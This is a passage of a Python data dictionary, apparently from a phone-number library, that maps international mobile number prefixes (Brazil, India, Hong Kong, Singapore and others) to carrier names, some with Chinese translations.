'852659':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'556199618':{'en': 'Vivo'},
'852654':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852655':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'852656':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'852657':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852650':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852651':{'en': 'China-Hongkong Telecom', 'zh': u('\u4e2d\u6e2f\u901a'), 'zh_Hant': u('\u4e2d\u6e2f\u901a')},
'852652':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'852653':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'62911996':{'en': 'Esia'},
'556199611':{'en': 'Vivo'},
'9176320':{'en': 'Airtel'},
'918276':{'en': 'Tata Docomo'},
'556598139':{'en': 'TIM'},
'556598138':{'en': 'TIM'},
'65978':{'en': 'SingTel'},
'555498415':{'en': 'Brasil Telecom GSM'},
'9176050':{'en': 'Airtel'},
'556598133':{'en': 'TIM'},
'556598132':{'en': 'TIM'},
'556598131':{'en': 'TIM'},
'65977':{'en': 'SingTel'},
'556598137':{'en': 'TIM'},
'556598136':{'en': 'TIM'},
'556598135':{'en': 'TIM'},
'556598134':{'en': 'TIM'},
'918278':{'en': 'CellOne'},
'558799615':{'en': 'TIM'},
'558799614':{'en': 'TIM'},
'558799617':{'en': 'TIM'},
'558799616':{'en': 'TIM'},
'558799611':{'en': 'TIM'},
'558799613':{'en': 'TIM'},
'558799612':{'en': 'TIM'},
'558799619':{'en': 'TIM'},
'558799618':{'en': 'TIM'},
'5585991':{'en': 'Claro BR'},
'556998409':{'en': 'Brasil Telecom GSM'},
'556998408':{'en': 'Brasil Telecom GSM'},
'556998407':{'en': 'Brasil Telecom GSM'},
'556998406':{'en': 'Brasil Telecom GSM'},
'556998405':{'en': 'Brasil Telecom GSM'},
'556998404':{'en': 'Brasil Telecom GSM'},
'556998403':{'en': 'Brasil Telecom GSM'},
'556998402':{'en': 'Brasil Telecom GSM'},
'556998401':{'en': 'Brasil Telecom GSM'},
'9181710':{'en': 'Airtel'},
'658377':{'en': 'StarHub'},
'658376':{'en': 'SingTel'},
'658375':{'en': 'SingTel'},
'658374':{'en': 'SingTel'},
'658373':{'en': 'StarHub'},
'658372':{'en': 'SingTel'},
'658371':{'en': 'SingTel'},
'658370':{'en': 'StarHub'},
'658379':{'en': 'SingTel'},
'658378':{'en': 'StarHub'},
'559199979':{'en': 'Oi'},
'559199978':{'en': 'Oi'},
'556398427':{'en': 'Brasil Telecom GSM'},
'6018823':{'en': 'YTL'},
'559199971':{'en': 'Oi'},
'6018821':{'en': 'YTL'},
'559199977':{'en': 'Oi'},
'559199975':{'en': 'Oi'},
'556798438':{'en': 'Brasil Telecom GSM'},
'556798439':{'en': 'Brasil Telecom GSM'},
'556798431':{'en': 'Brasil Telecom GSM'},
'556798432':{'en': 'Brasil Telecom GSM'},
'556798433':{'en': 'Brasil Telecom GSM'},
'556798434':{'en': 'Brasil Telecom GSM'},
'556798435':{'en': 'Brasil Telecom GSM'},
'556798436':{'en': 'Brasil Telecom GSM'},
'556798437':{'en': 'Brasil Telecom GSM'},
'59669698':{'en': 'Digicel'},
'556798127':{'en': 'TIM'},
'556798124':{'en': 'TIM'},
'556798125':{'en': 'TIM'},
'556798122':{'en': 'TIM'},
'556798123':{'en': 'TIM'},
'556798121':{'en': 'TIM'},
'59669690':{'en': 'Digicel'},
'59669691':{'en': 'Digicel'},
'59669692':{'en': 'Digicel'},
'59669693':{'en': 'Digicel'},
'59669694':{'en': 'Digicel'},
'59669695':{'en': 'Digicel'},
'59669696':{'en': 'Digicel'},
'556798129':{'en': 'TIM'},
'9054285':{'en': 'KKTC Telsim'},
'9054287':{'en': 'KKTC Telsim'},
'9054286':{'en': 'KKTC Telsim'},
'917907':{'en': 'Reliance Jio'},
'9054288':{'en': 'KKTC Telsim'},
'555399939':{'en': 'TIM'},
'555399938':{'en': 'Vivo'},
'555399935':{'en': 'Vivo'},
'555399934':{'en': 'Vivo'},
'555399937':{'en': 'Vivo'},
'555399936':{'en': 'Vivo'},
'555399931':{'en': 'Vivo'},
'558399600':{'en': 'TIM'},
'555399933':{'en': 'Vivo'},
'555399932':{'en': 'Vivo'},
'558399601':{'en': 'TIM'},
'9053385':{'en': 'Kuzey Kibris Turkcell'},
'9053384':{'en': 'Kuzey Kibris Turkcell'},
'9180590':{'en': 'Idea'},
'9053386':{'en': 'Kuzey Kibris Turkcell'},
'9174590':{'en': 'Airtel'},
'918059':{'en': 'Idea'},
'918058':{'en': 'Idea'},
'918057':{'en': 'Idea'},
'918056':{'en': 'Airtel'},
'918055':{'en': 'Reliance'},
'918054':{'en': 'Vodafone'},
'9174598':{'en': 'Airtel'},
'9174599':{'en': 'Airtel'},
'918051':{'en': 'Vodafone'},
'918050':{'en': 'Tata Docomo'},
'5699147':{'en': 'Movistar'},
'5699146':{'en': 'Movistar'},
'559898148':{'en': 'TIM'},
'5699144':{'en': 'Movistar'},
'5699142':{'en': 'Entel'},
'5699141':{'en': 'Entel'},
'5699140':{'en': 'Entel'},
'559898142':{'en': 'TIM'},
'559898143':{'en': 'TIM'},
'558898130':{'en': 'Vivo'},
'559898141':{'en': 'TIM'},
'558299623':{'en': 'TIM'},
'559898147':{'en': 'TIM'},
'559898144':{'en': 'TIM'},
'5699148':{'en': 'Movistar'},
'9173218':{'en': 'Airtel'},
'9173219':{'en': 'Airtel'},
'9173748':{'en': 'Idea'},
'9173749':{'en': 'Idea'},
'9173210':{'en': 'Airtel'},
'9173740':{'en': 'Idea'},
'558999929':{'en': 'TIM'},
'558999928':{'en': 'TIM'},
'558999925':{'en': 'TIM'},
'558999924':{'en': 'TIM'},
'558999927':{'en': 'TIM'},
'558999926':{'en': 'TIM'},
'558999921':{'en': 'TIM'},
'558999922':{'en': 'TIM'},
'9176196':{'en': 'Airtel'},
'9176197':{'en': 'Aircel'},
'9176194':{'en': 'Airtel'},
'9176195':{'en': 'Airtel'},
'9176192':{'en': 'Airtel'},
'9176193':{'en': 'Airtel'},
'9176190':{'en': 'Idea'},
'9176191':{'en': 'Airtel'},
'9176198':{'en': 'Idea'},
'9176199':{'en': 'Idea'},
'6265198':{'en': 'Esia'},
'6265199':{'en': 'Esia'},
'61466':{'en': 'Optus'},
'59469409':{'en': 'Digicel'},
'59469408':{'en': 'Digicel'},
'9177069':{'en': 'Vodafone'},
'9177068':{'en': 'Vodafone'},
'67078':{'en': 'Timor Telecom'},
'9177060':{'en': 'Vodafone'},
'555499606':{'en': 'Vivo'},
'555499607':{'en': 'Vivo'},
'555499604':{'en': 'Vivo'},
'555499605':{'en': 'Vivo'},
'555499602':{'en': 'Vivo'},
'555499603':{'en': 'Vivo'},
'555499601':{'en': 'Vivo'},
'9175519':{'en': 'Vodafone'},
'9175518':{'en': 'Vodafone'},
'555499608':{'en': 'Vivo'},
'555499609':{'en': 'Vivo'},
'658862':{'en': 'M1'},
'556699687':{'en': 'Vivo'},
'917809':{'en': 'Dishnet'},
'917808':{'en': 'Idea'},
'559399168':{'en': 'Vivo'},
'557599998':{'en': 'Vivo'},
'559399166':{'en': 'Vivo'},
'559399167':{'en': 'Vivo'},
'559399164':{'en': 'Vivo'},
'559399165':{'en': 'Vivo'},
'559399162':{'en': 'Vivo'},
'559399163':{'en': 'Vivo'},
'917803':{'en': 'Reliance'},
'559399161':{'en': 'Vivo'},
'556699684':{'en': 'Vivo'},
'59069087':{'en': 'UTS'},
'558899621':{'en': 'TIM'},
'59069089':{'en': 'SFR/Rife'},
'59069088':{'en': 'Dauphin Telecom'},
'8536568':{'en': 'China Telecom'},
'559499661':{'en': 'Oi'},
'8536569':{'en': 'China Telecom'},
'556699681':{'en': 'Vivo'},
'9173659':{'en': 'Airtel'},
'9181368':{'en': 'Airtel'},
'559499663':{'en': 'Oi'},
'658352':{'en': 'StarHub'},
'658869':{'en': 'SingTel'},
'555598118':{'en': 'TIM'},
'555598119':{'en': 'TIM'},
'555598116':{'en': 'TIM'},
'555598117':{'en': 'TIM'},
'555598114':{'en': 'TIM'},
'555598115':{'en': 'TIM'},
'555598112':{'en': 'TIM'},
'555598113':{'en': 'TIM'},
'555598111':{'en': 'TIM'},
'62451613':{'en': 'Esia'},
'62451612':{'en': 'Esia'},
'62451611':{'en': 'Esia'},
'62451610':{'en': 'Esia'},
'62451614':{'en': 'Esia'},
'8536203':{'en': 'CTM'},
'8536202':{'en': 'CTM'},
'8536201':{'en': 'CTM'},
'8536200':{'en': 'SmarTone'},
'8536207':{'en': 'CTM'},
'8536206':{'en': 'CTM'},
'8536205':{'en': 'CTM'},
'8536204':{'en': 'CTM'},
'557199171':{'en': 'TIM'},
'557199173':{'en': 'TIM'},
'557199172':{'en': 'TIM'},
'557199175':{'en': 'TIM'},
'557199174':{'en': 'TIM'},
'557199177':{'en': 'TIM'},
'557199176':{'en': 'TIM'},
'557199179':{'en': 'TIM'},
'557199178':{'en': 'TIM'},
'9181500':{'en': 'Idea'},
'556199941':{'en': 'Vivo'},
'556199943':{'en': 'Vivo'},
'556199942':{'en': 'Vivo'},
'556199945':{'en': 'Vivo'},
'556199944':{'en': 'Vivo'},
'556199947':{'en': 'Vivo'},
'556199946':{'en': 'Vivo'},
'556199949':{'en': 'Vivo'},
'556199948':{'en': 'Vivo'},
'9174600':{'en': 'Airtel'},
'9174608':{'en': 'Airtel'},
'9174609':{'en': 'Airtel'},
'556198542':{'en': 'Brasil Telecom GSM'},
'556198543':{'en': 'Brasil Telecom GSM'},
'556198541':{'en': 'Brasil Telecom GSM'},
'556198546':{'en': 'Brasil Telecom GSM'},
'556198547':{'en': 'Brasil Telecom GSM'},
'556198544':{'en': 'Brasil Telecom GSM'},
'556198545':{'en': 'Brasil Telecom GSM'},
'556198548':{'en': 'Brasil Telecom GSM'},
'556198549':{'en': 'Brasil Telecom GSM'},
'917228':{'en': 'Airtel'},
'917599':{'en': 'CellOne'},
'626191':{'en': 'Esia'},
'917598':{'en': 'CellOne'},
'917597':{'en': 'CellOne'},
'559699138':{'en': 'Vivo'},
'559699139':{'en': 'Vivo'},
'559699136':{'en': 'Vivo'},
'559699137':{'en': 'Vivo'},
'559699134':{'en': 'Vivo'},
'559699135':{'en': 'Vivo'},
'559699132':{'en': 'Vivo'},
'559699133':{'en': 'Vivo'},
'559699131':{'en': 'Vivo'},
'9177828':{'en': 'Airtel'},
'9181518':{'en': 'Idea'},
'59521':{'en': 'Personal'},
'9181519':{'en': 'Idea'},
'918007':{'en': 'Vodafone'},
'9180100':{'en': 'Reliance'},
'658528':{'en': 'StarHub'},
'918002':{'en': 'Airtel'},
'658522':{'en': 'SingTel'},
'658523':{'en': 'SingTel'},
'658520':{'en': 'StarHub'},
'658521':{'en': 'StarHub'},
'658524':{'en': 'SingTel'},
'555498403':{'en': 'Brasil Telecom GSM'},
'555498402':{'en': 'Brasil Telecom GSM'},
'555498401':{'en': 'Brasil Telecom GSM'},
'558299361':{'en': 'Claro BR'},
'555498407':{'en': 'Brasil Telecom GSM'},
'555498406':{'en': 'Brasil Telecom GSM'},
'555498405':{'en': 'Brasil Telecom GSM'},
'555498404':{'en': 'Brasil Telecom GSM'},
'555498409':{'en': 'Brasil Telecom GSM'},
'555498408':{'en': 'Brasil Telecom GSM'},
'558599969':{'en': 'TIM'},
'9174270':{'en': 'Hexacom'},
'558599961':{'en': 'TIM'},
'558599963':{'en': 'TIM'},
'558599962':{'en': 'TIM'},
'62717404':{'en': 'Esia'},
'9177809':{'en': 'Reliance Jio'},
'9177808':{'en': 'Reliance Jio'},
'62717401':{'en': 'Esia'},
'62717400':{'en': 'Esia'},
'62717403':{'en': 'Esia'},
'62717402':{'en': 'Esia'},
'9177803':{'en': 'Reliance Jio'},
'9177802':{'en': 'Reliance Jio'},
'9177801':{'en': 'Reliance Jio'},
'9177807':{'en': 'Reliance Jio'},
'9177806':{'en': 'Reliance Jio'},
'9177805':{'en': 'Reliance Jio'},
'9177804':{'en': 'Reliance Jio'},
'55779991':{'en': 'Vivo'},
'55779990':{'en': 'Vivo'},
'55779993':{'en': 'Vivo'},
'55779992':{'en': 'Vivo'},
'55779995':{'en': 'Vivo'},
'55779994':{'en': 'Vivo'},
'55779998':{'en': 'Vivo'},
'917029':{'en': 'Reliance'},
'917028':{'en': 'Airtel'},
'917027':{'en': 'Vodafone'},
'917026':{'en': 'Idea'},
'917025':{'en': 'Idea'},
'917024':{'en': 'Airtel'},
'917023':{'en': 'Hexacom'},
'917022':{'en': 'Airtel'},
'917021':{'en': 'Reliance Jio'},
'917020':{'en': 'Reliance Jio'},
'9182476':{'en': 'Reliance Jio'},
'6276197':{'en': 'Esia'},
'9182474':{'en': 'Reliance Jio'},
'9182475':{'en': 'Reliance Jio'},
'9182472':{'en': 'Reliance Jio'},
'57315':{'en': 'Movistar'},
'9182470':{'en': 'Reliance Jio'},
'9176290':{'en': 'Hexacom'},
'9176299':{'en': 'Hexacom'},
'9176298':{'en': 'Hexacom'},
'57314':{'en': 'Claro'},
'9174968':{'en': 'Tata Docomo'},
'9176309':{'en': 'Hexacom'},
'9172970':{'en': 'Airtel'},
'57317':{'en': 'Movistar'},
'9172979':{'en': 'Airtel'},
'9176308':{'en': 'Hexacom'},
'9173551':{'en': 'Reliance Jio'},
'9173550':{'en': 'Reliance Jio'},
'65918':{'en': 'StarHub'},
'9173552':{'en': 'Reliance Jio'},
'9173555':{'en': 'Reliance Jio'},
'9173554':{'en': 'Reliance Jio'},
'9173009':{'en': 'Hexacom'},
'9173008':{'en': 'Hexacom'},
'55839932':{'en': 'Claro BR'},
'65913':{'en': 'SingTel'},
'55839930':{'en': 'Claro BR'},
'55839931':{'en': 'Claro BR'},
'65916':{'en': 'StarHub'},
'65917':{'en': 'SingTel'},
'65914':{'en': 'StarHub'},
'65915':{'en': 'SingTel'},
'558799639':{'en': 'TIM'},
'558799638':{'en': 'TIM'},
'9177658':{'en': 'Airtel'},
'558799633':{'en': 'TIM'},
'558799632':{'en': 'TIM'},
'558799631':{'en': 'TIM'},
'558799637':{'en': 'TIM'},
'558799636':{'en': 'TIM'},
'558799635':{'en': 'TIM'},
'558799634':{'en': 'TIM'},
'9173719':{'en': 'Idea'},
'556998465':{'en': 'Brasil Telecom GSM'},
'556998467':{'en': 'Brasil Telecom GSM'},
'556998466':{'en': 'Brasil Telecom GSM'},
'556998461':{'en': 'Brasil Telecom GSM'},
'556998463':{'en': 'Brasil Telecom GSM'},
'556998462':{'en': 'Brasil Telecom GSM'},
'57310':{'en': 'Claro'},
'8536694':{'en': '3'},
'8536695':{'en': '3'},
'8536696':{'en': 'CTM'},
'8536697':{'en': '3'},
'8536690':{'en': 'Kong Seng'},
'8536691':{'en': 'Kong Seng'},
'8536692':{'en': 'CTM'},
'8536693':{'en': 'CTM'},
'62218964':{'en': 'Esia'},
'62218965':{'en': 'Esia'},
'62218966':{'en': 'Esia'},
'62218960':{'en': 'Esia'},
'62218961':{'en': 'Esia'},
'62218962':{'en': 'Esia'},
'559399156':{'en': 'Vivo'},
'9181770':{'en': 'Tata Docomo'},
'9181778':{'en': 'Telewings'},
'918169':{'en': 'Reliance Jio'},
'57312':{'en': 'Claro'},
'918168':{'en': 'Reliance Jio'},
'85577':{'en': 'Cellcard'},
'85570':{'en': 'Smart'},
'85571':{'en': 'Metfone'},
'85578':{'en': 'Cellcard'},
'9175897':{'en': 'Reliance Jio'},
'9181820':{'en': 'Dishnet'},
'56972':{'en': 'Claro'},
'658399':{'en': 'SingTel'},
'658653':{'en': 'SingTel'},
'658398':{'en': 'SingTel'},
'9181198':{'en': 'Hexacom'},
'556398409':{'en': 'Brasil Telecom GSM'},
'658393':{'en': 'SingTel'},
'918299':{'en': 'Reliance Jio'},
'6011209':{'en': 'XOX'},
'6011208':{'en': 'XOX'},
'557499123':{'en': 'TIM'},
'557499122':{'en': 'TIM'},
'557499125':{'en': 'TIM'},
'557499124':{'en': 'TIM'},
'6226391':{'en': 'Esia'},
'6011201':{'en': 'Talk Focus'},
'6011200':{'en': 'Talk Focus'},
'6011203':{'en': 'Talk Focus'},
'6011202':{'en': 'Talk Focus'},
'6011205':{'en': 'XOX'},
'6011204':{'en': 'Talk Focus'},
'6011207':{'en': 'XOX'},
'6011206':{'en': 'XOX'},
'556398408':{'en': 'Brasil Telecom GSM'},
'9176529':{'en': 'CellOne'},
'658396':{'en': 'StarHub'},
'5699785':{'en': 'Entel'},
'5699784':{'en': 'Entel'},
'555399911':{'en': 'TIM'},
'5699786':{'en': 'Entel'},
'5699781':{'en': 'Movistar'},
'5699780':{'en': 'Movistar'},
'5699783':{'en': 'Movistar'},
'5699782':{'en': 'Movistar'},
'9183840':{'en': 'Reliance Jio'},
'5699789':{'en': 'Entel'},
'5699788':{'en': 'Entel'},
'8536640':{'en': 'SmarTone'},
'559498133':{'en': 'TIM'},
'556499907':{'en': 'Vivo'},
'8536645':{'en': '3'},
'8536644':{'en': '3'},
'559898161':{'en': 'TIM'},
'559898162':{'en': 'TIM'},
'559898163':{'en': 'TIM'},
'559898164':{'en': 'TIM'},
'559898165':{'en': 'TIM'},
'559898166':{'en': 'TIM'},
'559898167':{'en': 'TIM'},
'559898168':{'en': 'TIM'},
'559898169':{'en': 'TIM'},
'6236299':{'en': 'Esia'},
'569620':{'en': 'Entel'},
'569621':{'en': 'Entel'},
'569622':{'en': 'Entel'},
'569623':{'en': 'Entel'},
'569624':{'en': 'Entel'},
'569625':{'en': 'Claro'},
'569626':{'en': 'Claro'},
'569627':{'en': 'Claro'},
'569628':{'en': 'Movistar'},
'569629':{'en': 'Movistar'},
'559999173':{'en': 'Vivo'},
'6231931':{'en': 'Esia'},
'559999172':{'en': 'Vivo'},
'559498137':{'en': 'TIM'},
'556498136':{'en': 'TIM'},
'85264511':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'85264510':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'559999176':{'en': 'Vivo'},
'9173490':{'en': 'Airtel'},
'9173491':{'en': 'Airtel'},
'9173492':{'en': 'Airtel'},
'9173493':{'en': 'Airtel'},
'9173494':{'en': 'Airtel'},
'556498132':{'en': 'TIM'},
'9173496':{'en': 'Airtel'},
'9173497':{'en': 'Airtel'},
'9173498':{'en': 'Vodafone'},
'9173499':{'en': 'Vodafone'},
'559999174':{'en': 'Vivo'},
'9177588':{'en': 'Airtel'},
'852593':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852592':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852591':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852597':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852596':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852594':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852599':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852598':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'658649':{'en': 'SingTel'},
'9177000':{'en': 'Airtel'},
'9177009':{'en': 'Airtel'},
'9177008':{'en': 'Airtel'},
'556298118':{'en': 'TIM'},
'9173940':{'en': 'Telenor'},
'9173948':{'en': 'Telenor'},
'9173949':{'en': 'Telenor'},
'9176059':{'en': 'Airtel'},
'917827':{'en': 'Reliance'},
'917826':{'en': 'Vodafone'},
'917825':{'en': 'Vodafone'},
'917824':{'en': 'Vodafone'},
'917822':{'en': 'Reliance'},
'917821':{'en': 'Reliance'},
'917820':{'en': 'Reliance'},
'917829':{'en': 'Vodafone'},
'917828':{'en': 'Reliance'},
'559399144':{'en': 'Vivo'},
'559399145':{'en': 'Vivo'},
'559399146':{'en': 'Vivo'},
'559399147':{'en': 'Vivo'},
'559399141':{'en': 'Vivo'},
'559399142':{'en': 'Vivo'},
'559399143':{'en': 'Vivo'},
'9176058':{'en': 'Airtel'},
'559399148':{'en': 'Vivo'},
'559399149':{'en': 'Vivo'},
'62536204':{'en': 'Esia'},
'9176270':{'en': 'CellOne'},
'62536200':{'en': 'Esia'},
'62536201':{'en': 'Esia'},
'62536202':{'en': 'Esia'},
'62536203':{'en': 'Esia'},
'9181348':{'en': 'Airtel'},
'555598134':{'en': 'TIM'},
'555598135':{'en': 'TIM'},
'555598136':{'en': 'TIM'},
'555598137':{'en': 'TIM'},
'555598131':{'en': 'TIM'},
'555598132':{'en': 'TIM'},
'555598133':{'en': 'TIM'},
'555598138':{'en': 'TIM'},
'555598139':{'en': 'TIM'},
'917411':{'en': 'Tata Docomo'},
'555499628':{'en': 'Vivo'},
'555499629':{'en': 'Vivo'},
'555499624':{'en': 'Vivo'},
'555499625':{'en': 'Vivo'},
'555499626':{'en': 'Vivo'},
'555499627':{'en': 'Vivo'},
'555499621':{'en': 'Vivo'},
'555499622':{'en': 'Vivo'},
'555499623':{'en': 'Vivo'},
'557199157':{'en': 'TIM'},
'557199156':{'en': 'TIM'},
'557199155':{'en': 'TIM'},
'557199154':{'en': 'TIM'},
'557199153':{'en': 'TIM'},
'557199152':{'en': 'TIM'},
'557199151':{'en': 'TIM'},
'62823':{'en': 'Telkomsel'},
'62822':{'en': 'Telkomsel'},
'62821':{'en': 'Telkomsel'},
'917415':{'en': 'Tata Docomo'},
'557199159':{'en': 'TIM'},
'557199158':{'en': 'TIM'},
'917418':{'en': 'Tata Docomo'},
'556198568':{'en': 'Brasil Telecom GSM'},
'556198569':{'en': 'Brasil Telecom GSM'},
'598921':{'en': 'Antel'},
'598920':{'en': 'Antel'},
'601128':{'en': 'U Mobile'},
'601129':{'en': 'Celecom'},
'9174628':{'en': 'Airtel'},
'9174629':{'en': 'Airtel'},
'601124':{'en': 'Maxis'},
'601125':{'en': 'Maxis'},
'601126':{'en': 'DiGi'},
'556198563':{'en': 'Brasil Telecom GSM'},
'556198564':{'en': 'Brasil Telecom GSM'},
'601121':{'en': 'U Mobile'},
'601122':{'en': 'Clixster'},
'601123':{'en': 'Maxis'},
'556199619':{'en': 'Vivo'},
'59891':{'en': 'Antel'},
'59893':{'en': 'Movistar'},
'59894':{'en': 'Movistar'},
'59895':{'en': 'Movistar'},
'59896':{'en': 'Claro'},
'59897':{'en': 'Claro'},
'59898':{'en': 'Antel'},
'59899':{'en': 'Antel'},
'556199613':{'en': 'Vivo'},
'556199612':{'en': 'Vivo'},
'556199615':{'en': 'Vivo'},
'556199614':{'en': 'Vivo'},
'556199617':{'en': 'Vivo'},
'556199616':{'en': 'Vivo'},
'559699114':{'en': 'Vivo'},
'559699115':{'en': 'Vivo'},
'559699116':{'en': 'Vivo'},
'559699117':{'en': 'Vivo'},
'559699111':{'en': 'Vivo'},
'559699112':{'en': 'Vivo'},
'559699113':{'en': 'Vivo'},
'559699118':{'en': 'Vivo'},
'559699119':{'en': 'Vivo'},
'9181520':{'en': 'Idea'},
'852561':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'9181529':{'en': 'Idea'},
'9181528':{'en': 'Idea'},
'9177010':{'en': 'Tata Docomo'},
'9180120':{'en': 'Aircel'},
'9184119':{'en': 'Vodafone'},
'9184118':{'en': 'Vodafone'},
'658505':{'en': 'StarHub'},
'658500':{'en': 'M1'},
'658501':{'en': 'StarHub'},
'658503':{'en': 'StarHub'},
'658508':{'en': 'StarHub'},
'658509':{'en': 'StarHub'},
'558299340':{'en': 'Claro BR'},
'558299341':{'en': 'Claro BR'},
'558299342':{'en': 'Claro BR'},
'558299343':{'en': 'Claro BR'},
'557598275':{'en': 'Claro BR'},
'557598274':{'en': 'Claro BR'},
'557598276':{'en': 'Claro BR'},
'557598271':{'en': 'Claro BR'},
'557598270':{'en': 'Claro BR'},
'557598273':{'en': 'Claro BR'},
'557598272':{'en': 'Claro BR'},
'918171':{'en': 'Airtel'},
'558599943':{'en': 'TIM'},
'558599942':{'en': 'TIM'},
'558599941':{'en': 'TIM'},
'558599947':{'en': 'TIM'},
'558599946':{'en': 'TIM'},
'558599945':{'en': 'TIM'},
'558599944':{'en': 'TIM'},
'558599949':{'en': 'TIM'},
'558599948':{'en': 'TIM'},
'55849812':{'en': 'Vivo'},
'55849813':{'en': 'Vivo'},
'55849810':{'en': 'Vivo'},
'55849811':{'en': 'Vivo'},
'917225':{'en': 'Airtel'},
'917224':{'en': 'Airtel'},
'917227':{'en': 'Airtel'},
'917226':{'en': 'Airtel'},
'917221':{'en': 'Aircel'},
'917220':{'en': 'Aircel'},
'917223':{'en': 'Airtel'},
'917222':{'en': 'Aircel'},
'58412':{'en': 'Digitel GSM'},
'58416':{'en': 'Movilnet'},
'58414':{'en': 'movistar'},
'67576':{'en': 'bmobile'},
'9174868':{'en': 'Airtel'},
'559899974':{'en': 'Oi'},
'559899975':{'en': 'Oi'},
'559899976':{'en': 'Oi'},
'559899970':{'en': 'Oi'},
'559899971':{'en': 'Oi'},
'559899972':{'en': 'Oi'},
'559899973':{'en': 'Oi'},
'917049':{'en': 'Idea'},
'917048':{'en': 'Tata Docomo'},
'917041':{'en': 'Telewings'},
'917040':{'en': 'Aircel'},
'917043':{'en': 'Airtel'},
'917042':{'en': 'Airtel'},
'917045':{'en': 'Vodafone'},
'917044':{'en': 'Airtel'},
'917047':{'en': 'Airtel'},
'917046':{'en': 'Idea'},
'9175898':{'en': 'Reliance Jio'},
'9175899':{'en': 'Reliance Jio'},
'918345':{'en': 'Idea'},
'8526459':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'8526458':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'8526457':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'8526456':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'8526455':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'8526454':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'9175896':{'en': 'Reliance Jio'},
'8526452':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'8526450':{'en': 'CITIC', 'zh': u('\u4e2d\u4fe1\u56fd\u9645\u7535\u8baf'), 'zh_Hant': u('\u4e2d\u4fe1\u570b\u969b\u96fb\u8a0a')},
'918349':{'en': 'Airtel'},
'918348':{'en': 'Vodafone'},
'67575':{'en': 'bmobile'},
'658823':{'en': 'M1'},
'918223':{'en': 'Idea'},
'558899968':{'en': 'TIM'},
'558899969':{'en': 'TIM'},
'9176279':{'en': 'Hexacom'},
'9176278':{'en': 'CellOne'},
'558899962':{'en': 'TIM'},
'558899963':{'en': 'TIM'},
'558899961':{'en': 'TIM'},
'558899966':{'en': 'TIM'},
'558899967':{'en': 'TIM'},
'558899964':{'en': 'TIM'},
'558899965':{'en': 'TIM'},
'658821':{'en': 'M1'},
'6225132':{'en': 'Esia'},
'6225133':{'en': 'Esia'},
'9172958':{'en': 'Hexacom'},
'6225131':{'en': 'Esia'},
'9172950':{'en': 'Hexacom'},
'65932':{'en': 'M1'},
'65934':{'en': 'M1'},
'65936':{'en': 'M1'},
'65938':{'en': 'StarHub'},
'65939':{'en': 'SingTel'},
'9173029':{'en': 'Vodafone'},
'658820':{'en': 'M1'},
'9173021':{'en': 'Hexacom'},
'9173020':{'en': 'Hexacom'},
'9173023':{'en': 'Hexacom'},
'9173022':{'en': 'Hexacom'},
'9173025':{'en': 'Vodafone'},
'9173024':{'en': 'Hexacom'},
'9173027':{'en': 'Vodafone'},
'9173026':{'en': 'Vodafone'},
'9177638':{'en': 'Airtel'},
'9177639':{'en': 'Airtel'},
'556998449':{'en': 'Brasil Telecom GSM'},
'556998448':{'en': 'Brasil Telecom GSM'},
